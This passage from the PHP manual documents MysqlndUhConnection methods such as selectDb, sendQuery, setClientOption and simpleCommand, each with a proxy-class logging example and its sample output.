   // either there is no result (no SELECT) or there is an error
   if (mysqli_errno($link) > 0) {
    $saved_errors[$thread_id] = mysqli_errno($link);
    printf("'%s' caused %d\n", $links[$thread_id]['query'],     mysqli_errno($link));
   }
  }
 }
} while (true);
?>

The above example will output:

proxy::reapQuery(array (
  0 => NULL,
))
proxy::reapQuery returns true
array(1) {
  ["one dot one"]=>
  string(3) "1.1"
}
proxy::reapQuery(array (
  0 => NULL,
))
proxy::reapQuery returns true
array(2) {
  ["one"]=>
  string(1) "1"
  ["_sleep"]=>
  string(1) "0"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_async_query()

User Contributed Notes

There are no user contributed notes for this page.


Flush or reset tables and caches

  • « MysqlndUhConnection::reapQuery
  • MysqlndUhConnection::restartPSession »
  • PHP Manual
  • MysqlndUhConnection
  • Flush or reset tables and caches

MysqlndUhConnection::refreshServer

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::refreshServer — Flush or reset tables and caches

Description

public bool MysqlndUhConnection::refreshServer ( mysqlnd_connection $connection , int $options )

Flush or reset tables and caches.

Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

Mysqlnd connection handle. Do not modify!

options

What to refresh.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::refreshServer() example

<?php
class proxy extends MysqlndUhConnection {
 public function refreshServer($res, $option) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::refreshServer($res, $option);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
mysqli_refresh($mysqli, 1);
?>

The above example will output:

proxy::refreshServer(array (
  0 => NULL,
  1 => 1,
))
proxy::refreshServer returns false

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Restart a persistent mysqlnd connection

  • « MysqlndUhConnection::refreshServer
  • MysqlndUhConnection::selectDb »
  • PHP Manual
  • MysqlndUhConnection
  • Restart a persistent mysqlnd connection

MysqlndUhConnection::restartPSession

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::restartPSession — Restart a persistent mysqlnd connection

Description

public bool MysqlndUhConnection::restartPSession ( mysqlnd_connection $connection )

Restart a persistent mysqlnd connection.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::restartPSession() example

<?php
class proxy extends MysqlndUhConnection {
 public function ping($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::ping($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->ping();
?>

The above example will output:

proxy::restartPSession(array (
  0 => NULL,
))
proxy::restartPSession returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Selects the default database for database queries

  • « MysqlndUhConnection::restartPSession
  • MysqlndUhConnection::sendClose »
  • PHP Manual
  • MysqlndUhConnection
  • Selects the default database for database queries

MysqlndUhConnection::selectDb

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::selectDb — Selects the default database for database queries

Description

public bool MysqlndUhConnection::selectDb ( mysqlnd_connection $connection , string $database )

Selects the default database for database queries.

Parameters

connection

Mysqlnd connection handle. Do not modify!

database

The database name.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::selectDb() example

<?php
class proxy extends MysqlndUhConnection {
 public function selectDb($res, $database) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::selectDb($res, $database);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->select_db("mysql");
?>

The above example will output:

proxy::selectDb(array (
  0 => NULL,
  1 => 'mysql',
))
proxy::selectDb returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_select_db() - Selects the default database for database queries
  • mysql_select_db() - Select a MySQL database

User Contributed Notes

There are no user contributed notes for this page.


Sends a close command to MySQL

  • « MysqlndUhConnection::selectDb
  • MysqlndUhConnection::sendQuery »
  • PHP Manual
  • MysqlndUhConnection
  • Sends a close command to MySQL

MysqlndUhConnection::sendClose

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::sendClose — Sends a close command to MySQL

Description

public bool MysqlndUhConnection::sendClose ( mysqlnd_connection $connection )

Sends a close command to MySQL.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::sendClose() example

<?php
class proxy extends MysqlndUhConnection {
 public function sendClose($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::sendClose($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->close();
?>

The above example will output:

proxy::sendClose(array (
  0 => NULL,
))
proxy::sendClose returns true
proxy::sendClose(array (
  0 => NULL,
))
proxy::sendClose returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Sends a query to MySQL

  • « MysqlndUhConnection::sendClose
  • MysqlndUhConnection::serverDumpDebugInformation »
  • PHP Manual
  • MysqlndUhConnection
  • Sends a query to MySQL

MysqlndUhConnection::sendQuery

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::sendQuery — Sends a query to MySQL

Description

public bool MysqlndUhConnection::sendQuery ( mysqlnd_connection $connection , string $query )

Sends a query to MySQL.

Parameters

connection

Mysqlnd connection handle. Do not modify!

query

The query string.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::sendQuery() example

<?php
class proxy extends MysqlndUhConnection {
 public function sendQuery($res, $query) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::sendQuery($res, $query);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("SELECT 1");
?>

The above example will output:

proxy::sendQuery(array (
  0 => NULL,
  1 => 'SELECT 1',
))
proxy::sendQuery returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Dump debugging information into the log for the MySQL server

  • « MysqlndUhConnection::sendQuery
  • MysqlndUhConnection::setAutocommit »
  • PHP Manual
  • MysqlndUhConnection
  • Dump debugging information into the log for the MySQL server

MysqlndUhConnection::serverDumpDebugInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::serverDumpDebugInformation — Dump debugging information into the log for the MySQL server

Description

public bool MysqlndUhConnection::serverDumpDebugInformation ( mysqlnd_connection $connection )

Dump debugging information into the log for the MySQL server.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::serverDumpDebugInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function serverDumpDebugInformation($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::serverDumpDebugInformation($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->dump_debug_info();
?>

The above example will output:

proxy::serverDumpDebugInformation(array (
  0 => NULL,
))
proxy::serverDumpDebugInformation returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_dump_debug_info() - Dump debugging information into the log

User Contributed Notes

There are no user contributed notes for this page.


Turns on or off auto-committing database modifications

  • « MysqlndUhConnection::serverDumpDebugInformation
  • MysqlndUhConnection::setCharset »
  • PHP Manual
  • MysqlndUhConnection
  • Turns on or off auto-committing database modifications

MysqlndUhConnection::setAutocommit

(PECL mysqlnd-uh >= 1.0.1-alpha, PHP >= 5.4.0)

MysqlndUhConnection::setAutocommit — Turns on or off auto-committing database modifications

Description

public bool MysqlndUhConnection::setAutocommit ( mysqlnd_connection $connection , int $mode )

Turns on or off auto-committing database modifications

Parameters

connection

Mysqlnd connection handle. Do not modify!

mode

Whether to turn on auto-commit or not.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::setAutocommit() example

<?php
class proxy extends MysqlndUhConnection {
 public function setAutocommit($res, $mode) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::setAutocommit($res, $mode);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->autocommit(false);
$mysqli->autocommit(true);
?>

The above example will output:

proxy::setAutocommit(array (
  0 => NULL,
  1 => 0,
))
proxy::setAutocommit returns true
proxy::setAutocommit(array (
  0 => NULL,
  1 => 1,
))
proxy::setAutocommit returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_autocommit() - Turns on or off auto-committing database modifications

User Contributed Notes

There are no user contributed notes for this page.


Sets the default client character set

  • « MysqlndUhConnection::setAutocommit
  • MysqlndUhConnection::setClientOption »
  • PHP Manual
  • MysqlndUhConnection
  • Sets the default client character set

MysqlndUhConnection::setCharset

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::setCharset — Sets the default client character set

Description

public bool MysqlndUhConnection::setCharset ( mysqlnd_connection $connection , string $charset )

Sets the default client character set.

Parameters

connection

Mysqlnd connection handle. Do not modify!

charset

The charset to be set as default.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::setCharset() example

<?php
class proxy extends MysqlndUhConnection {
 public function setCharset($res, $charset) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::setCharset($res, $charset);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->set_charset("latin1");
?>

The above example will output:

proxy::setCharset(array (
  0 => NULL,
  1 => 'latin1',
))
proxy::setCharset returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_set_charset() - Sets the default client character set

User Contributed Notes

There are no user contributed notes for this page.


Sets a client option

  • « MysqlndUhConnection::setCharset
  • MysqlndUhConnection::setServerOption »
  • PHP Manual
  • MysqlndUhConnection
  • Sets a client option

MysqlndUhConnection::setClientOption

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::setClientOption — Sets a client option

Description

public bool MysqlndUhConnection::setClientOption ( mysqlnd_connection $connection , int $option , int $value )

Sets a client option.

Parameters

connection

Mysqlnd connection handle. Do not modify!

option

The option to be set.

value

Optional option value, if required.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::setClientOption() example

<?php
function client_option_to_string($option) {
 static $mapping = array(
  MYSQLND_UH_MYSQLND_OPTION_OPT_CONNECT_TIMEOUT => "MYSQLND_UH_MYSQLND_OPTION_OPT_CONNECT_TIMEOUT",
  MYSQLND_UH_MYSQLND_OPTION_OPT_COMPRESS => "MYSQLND_UH_MYSQLND_OPTION_OPT_COMPRESS",
  MYSQLND_UH_MYSQLND_OPTION_OPT_NAMED_PIPE => "MYSQLND_UH_MYSQLND_OPTION_OPT_NAMED_PIPE",
  MYSQLND_UH_MYSQLND_OPTION_INIT_COMMAND => "MYSQLND_UH_MYSQLND_OPTION_INIT_COMMAND",
  MYSQLND_UH_MYSQLND_READ_DEFAULT_FILE => "MYSQLND_UH_MYSQLND_READ_DEFAULT_FILE",
  MYSQLND_UH_MYSQLND_READ_DEFAULT_GROUP => "MYSQLND_UH_MYSQLND_READ_DEFAULT_GROUP",
  MYSQLND_UH_MYSQLND_SET_CHARSET_DIR => "MYSQLND_UH_MYSQLND_SET_CHARSET_DIR",
  MYSQLND_UH_MYSQLND_SET_CHARSET_NAME => "MYSQLND_UH_MYSQLND_SET_CHARSET_NAME",
  MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE => "MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE",
  MYSQLND_UH_MYSQLND_OPT_PROTOCOL => "MYSQLND_UH_MYSQLND_OPT_PROTOCOL",
  MYSQLND_UH_MYSQLND_SHARED_MEMORY_BASE_NAME => "MYSQLND_UH_MYSQLND_SHARED_MEMORY_BASE_NAME",
  MYSQLND_UH_MYSQLND_OPT_READ_TIMEOUT => "MYSQLND_UH_MYSQLND_OPT_READ_TIMEOUT",
  MYSQLND_UH_MYSQLND_OPT_WRITE_TIMEOUT => "MYSQLND_UH_MYSQLND_OPT_WRITE_TIMEOUT",
  MYSQLND_UH_MYSQLND_OPT_USE_RESULT => "MYSQLND_UH_MYSQLND_OPT_USE_RESULT",
  MYSQLND_UH_MYSQLND_OPT_USE_REMOTE_CONNECTION => "MYSQLND_UH_MYSQLND_OPT_USE_REMOTE_CONNECTION",
  MYSQLND_UH_MYSQLND_OPT_USE_EMBEDDED_CONNECTION => "MYSQLND_UH_MYSQLND_OPT_USE_EMBEDDED_CONNECTION",
  MYSQLND_UH_MYSQLND_OPT_GUESS_CONNECTION => "MYSQLND_UH_MYSQLND_OPT_GUESS_CONNECTION",
  MYSQLND_UH_MYSQLND_SET_CLIENT_IP => "MYSQLND_UH_MYSQLND_SET_CLIENT_IP",
  MYSQLND_UH_MYSQLND_SECURE_AUTH => "MYSQLND_UH_MYSQLND_SECURE_AUTH",
  MYSQLND_UH_MYSQLND_REPORT_DATA_TRUNCATION => "MYSQLND_UH_MYSQLND_REPORT_DATA_TRUNCATION",
  MYSQLND_UH_MYSQLND_OPT_RECONNECT => "MYSQLND_UH_MYSQLND_OPT_RECONNECT",
  MYSQLND_UH_MYSQLND_OPT_SSL_VERIFY_SERVER_CERT => "MYSQLND_UH_MYSQLND_OPT_SSL_VERIFY_SERVER_CERT",
  MYSQLND_UH_MYSQLND_OPT_NET_CMD_BUFFER_SIZE => "MYSQLND_UH_MYSQLND_OPT_NET_CMD_BUFFER_SIZE",
  MYSQLND_UH_MYSQLND_OPT_NET_READ_BUFFER_SIZE => "MYSQLND_UH_MYSQLND_OPT_NET_READ_BUFFER_SIZE",
  MYSQLND_UH_MYSQLND_OPT_SSL_KEY => "MYSQLND_UH_MYSQLND_OPT_SSL_KEY",
  MYSQLND_UH_MYSQLND_OPT_SSL_CERT => "MYSQLND_UH_MYSQLND_OPT_SSL_CERT",
  MYSQLND_UH_MYSQLND_OPT_SSL_CA => "MYSQLND_UH_MYSQLND_OPT_SSL_CA",
  MYSQLND_UH_MYSQLND_OPT_SSL_CAPATH => "MYSQLND_UH_MYSQLND_OPT_SSL_CAPATH",
  MYSQLND_UH_MYSQLND_OPT_SSL_CIPHER => "MYSQLND_UH_MYSQLND_OPT_SSL_CIPHER",
  MYSQLND_UH_MYSQLND_OPT_SSL_PASSPHRASE => "MYSQLND_UH_MYSQLND_OPT_SSL_PASSPHRASE",
  MYSQLND_UH_SERVER_OPTION_PLUGIN_DIR => "MYSQLND_UH_SERVER_OPTION_PLUGIN_DIR",
  MYSQLND_UH_SERVER_OPTION_DEFAULT_AUTH => "MYSQLND_UH_SERVER_OPTION_DEFAULT_AUTH",
  MYSQLND_UH_SERVER_OPTION_SET_CLIENT_IP => "MYSQLND_UH_SERVER_OPTION_SET_CLIENT_IP"
 );
 if (version_compare(PHP_VERSION, '5.3.99-dev', '>')) {
  $mapping[MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET] = "MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET";
  $mapping[MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL] = "MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL";
 }
 if (defined("MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE")) {
  /* special mysqlnd build */
  $mapping["MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE"] = "MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE";
 }
 return (isset($mapping[$option])) ? $mapping[$option] : 'unknown';
}

class proxy extends MysqlndUhConnection {
 public function setClientOption($res, $option, $value) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Option '%s' set to %s\n", client_option_to_string($option), var_export($value, true));
  $ret = parent::setClientOption($res, $option, $value);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
?>

The above example will output:

proxy::setClientOption(array (
  0 => NULL,
  1 => 210,
  2 => 3221225472,
))
Option 'MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET' set to 3221225472
proxy::setClientOption returns true
proxy::setClientOption(array (
  0 => NULL,
  1 => 211,
  2 => 'mysql_native_password',
))
Option 'MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL' set to 'mysql_native_password'
proxy::setClientOption returns true
proxy::setClientOption(array (
  0 => NULL,
  1 => 8,
  2 => 1,
))
Option 'MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE' set to 1
proxy::setClientOption returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_connect() - Opens a connection to a mysql server
  • mysqli_options() - Set options

User Contributed Notes

There are no user contributed notes for this page.


Sets a server option

  • « MysqlndUhConnection::setClientOption
  • MysqlndUhConnection::shutdownServer »
  • PHP Manual
  • MysqlndUhConnection
  • Sets a server option

MysqlndUhConnection::setServerOption

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::setServerOption — Sets a server option

Description

public void MysqlndUhConnection::setServerOption ( mysqlnd_connection $connection , int $option )

Sets a server option.

Parameters

connection

Mysqlnd connection handle. Do not modify!

option

The option to be set.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::setServerOption() example

<?php
function server_option_to_string($option) {
 $ret = 'unknown';
 switch ($option) {
  case MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON:
   $ret = 'MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON';
   break;
  case MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_OFF:
   $ret = 'MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON';
   break;
 }
 return $ret;
}

class proxy extends MysqlndUhConnection {
 public function setServerOption($res, $option) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Option '%s' set\n", server_option_to_string($option));
  $ret = parent::setServerOption($res, $option);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->multi_query("SELECT 1; SELECT 2");
?>

The above example will output:

proxy::setServerOption(array (
  0 => NULL,
  1 => 0,
))
Option 'MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON' set
proxy::setServerOption returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_connect() - Opens a connection to a mysql server
  • mysqli_options() - Set options
  • mysqli_multi_query() - Performs a query on the database

User Contributed Notes

There are no user contributed notes for this page.


The shutdownServer purpose

  • « MysqlndUhConnection::setServerOption
  • MysqlndUhConnection::simpleCommand »
  • PHP Manual
  • MysqlndUhConnection
  • The shutdownServer purpose

MysqlndUhConnection::shutdownServer

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::shutdownServer — The shutdownServer purpose

Description

public void MysqlndUhConnection::shutdownServer ( string $MYSQLND_UH_RES_MYSQLND_NAME , string $"level" )

Warning

This function is currently not documented; only its argument list is available.

Parameters

MYSQLND_UH_RES_MYSQLND_NAME

"level"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Sends a basic COM_* command

  • « MysqlndUhConnection::shutdownServer
  • MysqlndUhConnection::simpleCommandHandleResponse »
  • PHP Manual
  • MysqlndUhConnection
  • Sends a basic COM_* command

MysqlndUhConnection::simpleCommand

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::simpleCommand — Sends a basic COM_* command

Description

public bool MysqlndUhConnection::simpleCommand ( mysqlnd_connection $connection , int $command , string $arg , int $ok_packet , bool $silent , bool $ignore_upsert_status )

Sends a basic COM_* command to MySQL.

Parameters

connection

Mysqlnd connection handle. Do not modify!

command

The COM command to be send.

arg

Optional COM command arguments.

ok_packet

The OK packet type.

silent

Whether mysqlnd may emit errors.

ignore_upsert_status

Whether to ignore UPDATE/INSERT status.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::simpleCommand() example

<?php
function server_cmd_2_string($command) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_COM_SLEEP => "MYSQLND_UH_MYSQLND_COM_SLEEP",
  MYSQLND_UH_MYSQLND_COM_QUIT => "MYSQLND_UH_MYSQLND_COM_QUIT",
  MYSQLND_UH_MYSQLND_COM_INIT_DB => "MYSQLND_UH_MYSQLND_COM_INIT_DB",
  MYSQLND_UH_MYSQLND_COM_QUERY => "MYSQLND_UH_MYSQLND_COM_QUERY",
  MYSQLND_UH_MYSQLND_COM_FIELD_LIST => "MYSQLND_UH_MYSQLND_COM_FIELD_LIST",
  MYSQLND_UH_MYSQLND_COM_CREATE_DB => "MYSQLND_UH_MYSQLND_COM_CREATE_DB",
  MYSQLND_UH_MYSQLND_COM_DROP_DB => "MYSQLND_UH_MYSQLND_COM_DROP_DB",
  MYSQLND_UH_MYSQLND_COM_REFRESH => "MYSQLND_UH_MYSQLND_COM_REFRESH",
  MYSQLND_UH_MYSQLND_COM_SHUTDOWN => "MYSQLND_UH_MYSQLND_COM_SHUTDOWN",
  MYSQLND_UH_MYSQLND_COM_STATISTICS => "MYSQLND_UH_MYSQLND_COM_STATISTICS",
  MYSQLND_UH_MYSQLND_COM_PROCESS_INFO => "MYSQLND_UH_MYSQLND_COM_PROCESS_INFO",
  MYSQLND_UH_MYSQLND_COM_CONNECT => "MYSQLND_UH_MYSQLND_COM_CONNECT",
  MYSQLND_UH_MYSQLND_COM_PROCESS_KILL => "MYSQLND_UH_MYSQLND_COM_PROCESS_KILL",
  MYSQLND_UH_MYSQLND_COM_DEBUG => "MYSQLND_UH_MYSQLND_COM_DEBUG",
  MYSQLND_UH_MYSQLND_COM_PING => "MYSQLND_UH_MYSQLND_COM_PING",
  MYSQLND_UH_MYSQLND_COM_TIME => "MYSQLND_UH_MYSQLND_COM_TIME",
  MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT => "MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT",
  MYSQLND_UH_MYSQLND_COM_CHANGE_USER => "MYSQLND_UH_MYSQLND_COM_CHANGE_USER",
  MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP => "MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP",
  MYSQLND_UH_MYSQLND_COM_TABLE_DUMP => "MYSQLND_UH_MYSQLND_COM_TABLE_DUMP",
  MYSQLND_UH_MYSQLND_COM_CONNECT_OUT => "MYSQLND_UH_MYSQLND_COM_CONNECT_OUT",
  MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED => "MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED",
  MYSQLND_UH_MYSQLND_COM_STMT_PREPARE => "MYSQLND_UH_MYSQLND_COM_STMT_PREPARE",
  MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE => "MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE",
  MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA => "MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA",
  MYSQLND_UH_MYSQLND_COM_STMT_CLOSE => "MYSQLND_UH_MYSQLND_COM_STMT_CLOSE",
  MYSQLND_UH_MYSQLND_COM_STMT_RESET => "MYSQLND_UH_MYSQLND_COM_STMT_RESET",
  MYSQLND_UH_MYSQLND_COM_SET_OPTION => "MYSQLND_UH_MYSQLND_COM_SET_OPTION",
  MYSQLND_UH_MYSQLND_COM_STMT_FETCH => "MYSQLND_UH_MYSQLND_COM_STMT_FETCH",
  MYSQLND_UH_MYSQLND_COM_DAEMON => "MYSQLND_UH_MYSQLND_COM_DAEMON",
  MYSQLND_UH_MYSQLND_COM_END => "MYSQLND_UH_MYSQLND_COM_END",
 );
 return (isset($mapping[$command])) ? $mapping[$command] : 'unknown';
}

function ok_packet_2_string($ok_packet) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_PROT_GREET_PACKET => "MYSQLND_UH_MYSQLND_PROT_GREET_PACKET",
  MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET => "MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET",
  MYSQLND_UH_MYSQLND_PROT_OK_PACKET => "MYSQLND_UH_MYSQLND_PROT_OK_PACKET",
  MYSQLND_UH_MYSQLND_PROT_EOF_PACKET => "MYSQLND_UH_MYSQLND_PROT_EOF_PACKET",
  MYSQLND_UH_MYSQLND_PROT_CMD_PACKET => "MYSQLND_UH_MYSQLND_PROT_CMD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_ROW_PACKET => "MYSQLND_UH_MYSQLND_PROT_ROW_PACKET",
  MYSQLND_UH_MYSQLND_PROT_STATS_PACKET => "MYSQLND_UH_MYSQLND_PROT_STATS_PACKET",
  MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET => "MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET",
  MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET => "MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET",
  MYSQLND_UH_MYSQLND_PROT_LAST => "MYSQLND_UH_MYSQLND_PROT_LAST",
 );
 return (isset($mapping[$ok_packet])) ? $mapping[$ok_packet] : 'unknown';
}

class proxy extends MysqlndUhConnection {
 public function simpleCommand($conn, $command, $arg, $ok_packet, $silent, $ignore_upsert_status) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Command '%s'\n", server_cmd_2_string($command));
  printf("OK packet '%s'\n",  ok_packet_2_string($ok_packet));
  $ret = parent::simpleCommand($conn, $command, $arg, $ok_packet, $silent, $ignore_upsert_status);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("SELECT 1");
?>

The above example will output:

proxy::simpleCommand(array (
  0 => NULL,
  1 => 3,
  2 => 'SELECT 1',
  3 => 13,
  4 => false,
  5 => false,
))
Command 'MYSQLND_UH_MYSQLND_COM_QUERY'
OK packet 'MYSQLND_UH_MYSQLND_PROT_LAST'
proxy::simpleCommand returns true
:)proxy::simpleCommand(array (
  0 => NULL,
  1 => 1,
  2 => '',
  3 => 13,
  4 => true,
  5 => true,
))
Command 'MYSQLND_UH_MYSQLND_COM_QUIT'
OK packet 'MYSQLND_UH_MYSQLND_PROT_LAST'
proxy::simpleCommand returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Process a response for a basic COM_* command send to the client

  • « MysqlndUhConnection::simpleCommand
  • MysqlndUhConnection::sslSet »
  • PHP Manual
  • MysqlndUhConnection
  • Process a response for a basic COM_* command send to the client

MysqlndUhConnection::simpleCommandHandleResponse

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::simpleCommandHandleResponse — Process a response for a basic COM_* command send to the client

Description

public bool MysqlndUhConnection::simpleCommandHandleResponse ( mysqlnd_connection $connection , int $ok_packet , bool $silent , int $command , bool $ignore_upsert_status )

Process a response for a basic COM_* command send to the client.

Parameters

connection

Mysqlnd connection handle. Do not modify!

ok_packet

The OK packet type.

silent

Whether mysqlnd may emit errors.

command

The COM command to process results from.

ignore_upsert_status

Whether to ignore UPDATE/INSERT status.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::simpleCommandHandleResponse() example

<?php
function server_cmd_2_string($command) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_COM_SLEEP => "MYSQLND_UH_MYSQLND_COM_SLEEP",
  MYSQLND_UH_MYSQLND_COM_QUIT => "MYSQLND_UH_MYSQLND_COM_QUIT",
